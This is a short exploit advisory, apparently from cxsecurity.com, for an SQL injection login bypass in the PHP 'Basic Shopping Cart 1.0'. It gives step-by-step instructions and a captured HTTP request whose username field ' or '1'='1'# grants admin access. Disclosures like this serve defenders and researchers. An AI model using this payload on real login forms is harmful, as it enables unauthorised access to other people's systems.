Basic Shopping Cart 1.0 | Authentication Bypass Vulnerability

2021.04.09
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

|=========================================================================== | # Exploit Title : Basic Shopping Cart 1.0 | Authentication Bypass Vulnerability | | # Author : Ali Seddigh | | # Category : Web Application | | # Vendor Homepage: https://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html | | # Software Link: https://www.sourcecodester.com/download-code?nid=10964&title=Basic+Shopping+Cart+using+PHP%2FMySQL+with+Source+Code | | # Version : 1.0 | | # Tested on : [ Windows ~> 10] | | # Date : 2021-04-09 |=========================================================================== | # POC : | | # Step 1 - Go to url http://localhost/EdgeSketch/index.php and Click on Admin | # Step 2 – Enter anything in username and password | # Step 3 – Click on Login and capture the request in burpsuite | # Step 4 – Change the username to ' or '1'='1'# | # Step 5 – Click forward and now you will be logged in as admin. |=========================================================================== | [+] REQUEST [+] | | POST /EdgeSketch/adminlogin.php HTTP/1.1 | Host: localhost | Content-Length: 77 | Cache-Control: max-age=0 | Upgrade-Insecure-Requests: 1 | Origin: http://localhost | Content-Type: application/x-www-form-urlencoded | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 | | Accept: | text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | Referer: http://localhost/EdgeSketch/index.php | Accept-Encoding: gzip, deflate | Accept-Language: en-US,en;q=0.9 | Cookie: PHPSESSID=6b7072bb40c321cb336aacef057a0876 | Connection: close | | admin_username=%27+or+%271%27%3D%271%27%23&admin_password=random&admin_login= | |=========================================================================== | # Discovered By : Ali Triplex |===========================================================================


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top